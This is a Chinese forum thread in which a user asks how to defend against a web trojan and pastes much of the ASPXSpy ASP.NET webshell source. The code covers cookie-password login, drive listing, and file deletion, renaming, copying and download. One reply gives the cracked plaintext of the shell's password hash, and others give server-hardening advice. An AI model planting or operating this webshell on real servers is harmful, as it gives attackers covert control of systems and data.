很强大的木马，应该怎么防

下面是代码：
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="Microsoft.VisualBasic"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">
public string Password="e08392bb89dedb8ed6fb298f8e729c15";//
public string vbhLn="ASPXSpy";
public int TdgGU=1;
protected OleDbConnection Dtdr=new OleDbConnection();
protected OleDbCommand Kkvb=new OleDbCommand();
public NetworkStream NS=null;
public NetworkStream NS1=null;
TcpClient tcp=new TcpClient();
TcpClient zvxm=new TcpClient();
ArrayList IVc=new ArrayList();
protected void Page_load(object sender,EventArgs e)
{
YFcNP(this);
fhAEn();
if (!pdo())
{
return;
}
if(IsPostBack)
{
string tkI=Request["__EVENTTARGET"];
string VqV=Request["__File"];
if(tkI!="")
{
switch(tkI)
{
case "Bin_Parent":
krIR(Ebgw(VqV));
break;
case "Bin_Listdir":
krIR(Ebgw(VqV));
break;
case "kRXgt":
kRXgt(Ebgw(VqV));
break;
case "Bin_Createfile":
gLKc(VqV);
break;
case "Bin_Editfile":
gLKc(VqV);
break;
case "Bin_Createdir":
stNPw(VqV);
break;
case "cYAl":
cYAl(VqV);
break;
case "ksGR":
ksGR(Ebgw(VqV));
break;
case "SJv":
SJv(VqV);
break;
case "Bin_Regread":
tpRQ(Ebgw(VqV));
break;
case "hae":
hae();
break;
case "urJG":
urJG(VqV);
break;
}
if(tkI.StartsWith("dAJTD"))
{
dAJTD(Ebgw(tkI.Replace("dAJTD","")),VqV);
}
else if(tkI.StartsWith("Tlvz"))
{
Tlvz(Ebgw(tkI.Replace("Tlvz","")),VqV);
}
else if(tkI.StartsWith("Bin_CFile"))
{
YByN(Ebgw(tkI.Replace("Bin_CFile","")),VqV);
}
}
}
else
{
PBZw();
}
}

解决方案 »

  1.   

    public bool pdo()
    {
    if(Request.Cookies[vbhLn]==null)
    {
    tZSx();
    return false;
    }
    else
    {
    if (Request.Cookies[vbhLn].Value != Password)
    {
    tZSx();
    return false;
    }
    else
    {
    return true;
    }
    }
    }
    public void tZSx()
    {
    ljtzC.Visible=true;
    ZVS.Visible=false;
    }
    protected void YKpI(object sender,EventArgs e)
    {
    Session.Abandon();
    Response.Cookies.Add(new HttpCookie(vbhLn,null));
    tZSx();
    }
    public void PBZw()
    {
    ZVS.Visible=true;
    ljtzC.Visible=false;
    Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
    Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
    Bin_Button_KillMe.Attributes["onClick"]="if(confirm('确定要自杀?')){Bin_PostBack('hae','');};";
    Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
    Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
    if (AXSbb.Value==string.Empty)
    {
    AXSbb.Value=OElM(Server.MapPath("."));
    }
    Bin_H2_Title.InnerText="文件(夹)管理 >>";
    krIR(AXSbb.Value);
    }
    public void fhAEn()
    {
    try
    {
    string[] YRgt=Directory.GetLogicalDrives();
    for(int i=0;i<YRgt.Length;i++)
    {
    Control c=ParseControl(" <asp:LinkButton Text='"+mFvj(YRgt[i])+"' ID=\"Bin_Button_Driv"+i+"\" runat='server' commandargument= '"+YRgt[i]+"'/> | ");
    Bin_Span_Drv.Controls.Add(c);
    LinkButton nxeDR=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
    nxeDR.Command+=new CommandEventHandler(this.iVk);
    }
    }catch(Exception ex){}
    }
    public string OElM(string path)
    {
    if(path.Substring(path.Length-1,1)!=@"\")
    {
    path=path+@"\";
    }
    return path;
    }
    public string nrrx(string path)
    {
    char[] trim={'\\'};
    if(path.Substring(path.Length-1,1)==@"\")
    {
    path=path.TrimEnd(trim);
    }
    return path;
    }
    [DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
    public static extern int OMZP(string nDrive);
    public string mFvj(string instr)
    {
    string EuXD=string.Empty;
    int num=OMZP(instr);
    switch(num)
    {
    case 1:
    EuXD="Unknow("+instr+")";
    break;
    case 2:
    EuXD="Removable("+instr+")";
    break;
    case 3:
    EuXD="磁盘("+instr+")";
    break;
    case 4:
    EuXD="Network("+instr+")";
    break;
    case 5:
    EuXD="CDRom("+instr+")";
    break;
    case 6:
    EuXD="RAM Disk("+instr+")";
    break;
    }
    return EuXD.Replace(@"\","");
    }
    public string MVVJ(string instr)
    {
    byte[] tmp=Encoding.Default.GetBytes(instr);
    return Convert.ToBase64String(tmp);
    }
    public string Ebgw(string instr)
    {
    byte[] tmp=Convert.FromBase64String(instr);
    return Encoding.Default.GetString(tmp);
    }
    public void krIR(string path)
    {
    WICxe();
    CzfO.Visible=true;
    Bin_H2_Title.InnerText="文件(夹)管理 >>";
    AXSbb.Value=OElM(path);
    DirectoryInfo GQMM=new DirectoryInfo(path);
    if(Directory.GetParent(nrrx(path))!=null)
    {
    string bg=OKM();
    TableRow p=new TableRow();
    for(int i=1;i<6;i++)
    {
    TableCell pc=new TableCell();
    if(i==1)
    {
    pc.Width=Unit.Parse("2%");
    pc.Text="<font face='wingdings' size='4'>0</font>";
    p.CssClass=bg;
    }
    if(i==2)
    {
    pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Parent','"+MVVJ(Directory.GetParent(nrrx(path)).ToString())+"')\">Parent Directory</a>";
    }
    p.Cells.Add(pc);
    UGzP.Rows.Add(p);
    }
    }
    try
    {
    int vLlH=0;
    foreach(DirectoryInfo Bin_folder in GQMM.GetDirectories())
    {
    string bg=OKM();
    vLlH++;
    TableRow tr=new TableRow();
    TableCell tc=new TableCell();
    tc.Width=Unit.Parse("2%");
    tc.Text="<font face='wingdings' size='4'>0</font>";
    tr.Attributes["onmouseover"]="this.className='focus';";
    tr.CssClass=bg;
    tr.Attributes["onmouseout"]="this.className='"+bg+"';";
    tr.Cells.Add(tc);
    TableCell HczyN=new TableCell();
    HczyN.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
    tr.Cells.Add(HczyN);
    TableCell LYZK=new TableCell();
    LYZK.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
    tr.Cells.Add(LYZK);
    UGzP.Rows.Add(tr);
    TableCell ERUL=new TableCell();
    ERUL.Text="--";
    tr.Cells.Add(ERUL);
    UGzP.Rows.Add(tr);
    TableCell ZGKh=new TableCell();
    ZGKh.Text="<a href=\"javascript:if(confirm('确定要删除此文件(夹) ?')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};\">删除</a> | <a href='#' onclick=\"var filename=prompt('请输入文件夹名称:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} \">重命名</a>";
    tr.Cells.Add(ZGKh);
    UGzP.Rows.Add(tr);
    }
    TableRow cKVA=new TableRow();
    cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
    cKVA.Attributes["bgcolor"]="#dddddd";
    TableCell JlmW=new TableCell();
    JlmW.Attributes["colspan"]="6" ;
    JlmW.Attributes["height"]="5";
    cKVA.Cells.Add(JlmW);
    UGzP.Rows.Add(cKVA);
    int aYRwo=0;
    foreach(FileInfo Bin_Files in GQMM.GetFiles())
    {
    aYRwo++;
    string gb=OKM();
    TableRow tr=new TableRow();
    TableCell tc=new TableCell();
    tc.Width=Unit.Parse("2%");
    tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+MVVJ(Bin_Files.Name)+"\">";
    tr.Attributes["onmouseover"]="this.className='focus';";
    tr.CssClass=gb;
    tr.Attributes["onmouseout"]="this.className='"+gb+"';";
    tr.Cells.Add(tc);
    TableCell filename=new TableCell();
    if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
    {
    string url=Request.Url.ToString();
    filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
    }
    else
    {
    filename.Text=Bin_Files.Name;
    }
    TableCell albt=new TableCell();
    albt.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
    TableCell YzK=new TableCell();
    YzK.Text=mTG(Bin_Files.Length);
    TableCell GLpi=new TableCell();
    GLpi.Text="<a href=\"#\" onclick=\"Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')\">下载</a> | <a href='#' onclick=\"var filename=prompt('请输入新的文件名:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">复制</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">编辑</a> | <a href='#' onclick=\"var filename=prompt('请输入新的文件名:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">重命名</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','"+Bin_Files.Name+"')\">修改文件属性</a> ";
    tr.Cells.Add(filename);
    tr.Cells.Add(albt);
    tr.Cells.Add(YzK);
    tr.Cells.Add(GLpi);
    UGzP.Rows.Add(tr);
    }
    string lgb=OKM();
    TableRow oWam=new TableRow();
    oWam.CssClass=lgb;
    for(int i=1;i<4;i++)
    {
    TableCell lGV=new TableCell();
    if(i==1)
    {
    lGV.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
    }
    if(i==2)
    {
    lGV.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('SJv',d_file)};}\">Delete selected</a>";
    }
    if(i==3)
    {
    lGV.ColumnSpan=4;
    lGV.Style.Add("text-align","right");
    lGV.Text=vLlH+" 文件夹/ "+aYRwo+" 文件";
    }
    oWam.Cells.Add(lGV);
    }
    UGzP.Rows.Add(oWam);
    }
    catch(Exception error)
    {
    xseuB(error.Message);
    }
    }
    public string OKM()
    {
    TdgGU++;
    if(TdgGU % 2==0)
    {
    return "alt1";
    }
    else
    {
    return "alt2";
    }
    }
    public void kRXgt(string qcKu)
    {
    try
    {
    Directory.Delete(qcKu,true);
    xseuB("Directory delete new success !");
    }
    catch(Exception error)
    {
    xseuB(error.Message);
    }
    krIR(Directory.GetParent(qcKu).ToString());
    }
    public void dAJTD(string sdir,string ddir)
    {
    try
    {
    Directory.Move(sdir,ddir);
    xseuB("Directory Renamed Success !");
    }
    catch(Exception error)
    {
    xseuB(error.Message);
    }
    krIR(AXSbb.Value);
    }
    public void Tlvz(string sfile,string dfile)
    {
    try
    {
    File.Move(sfile,dfile);
    xseuB("File Renamed Success !");
    }
    catch(Exception error)
    {
    xseuB(error.Message);
    }
    krIR(AXSbb.Value);
    }
    public void YByN(string spath,string dpath)
    {
    try
    {
    File.Copy(spath,dpath);
    xseuB("File Copy Success !");
    }
    catch(Exception error)
    {
    xseuB(error.Message);
    }
    krIR(AXSbb.Value);
    }
    public void stNPw(string path)
    {
    try
    {
    Directory.CreateDirectory(AXSbb.Value+path);
    xseuB("Directory created success !");
    }
    catch(Exception error)
    {
    xseuB(error.Message);
    }
    krIR(AXSbb.Value);
    }
      

  2.   

    网页木马? 这个 其实就是个后门 程序啊 黑阔 常用 这个是aspx的把 还有asp和php滴..
    其实没神马难度 你服务器设置正确 网站木漏洞 他就传不上去的
      

  3.   

    对了 password e08392bb89dedb8ed6fb298f8e729c15
    MD5 加密的  解密是 wang
      

  4.   

    这个就是一个webshell木马，至于怎么传上去的原因比较多。
    要安全就设置好网站目录权限，譬如上传文件夹只有读写权限，去掉运行权限，网站文件目录去掉写入权限。上传文件处做好限制严格验证只能上传图片压缩包之类的，拒绝脚本后缀的文件。如果用到编辑器的话有些编辑器也有漏洞，这个自己修正吧。
    代码上来说，防注入，XSS之类的要注意一下，密码加密存储。
    当然服务器安全设置也很重要的。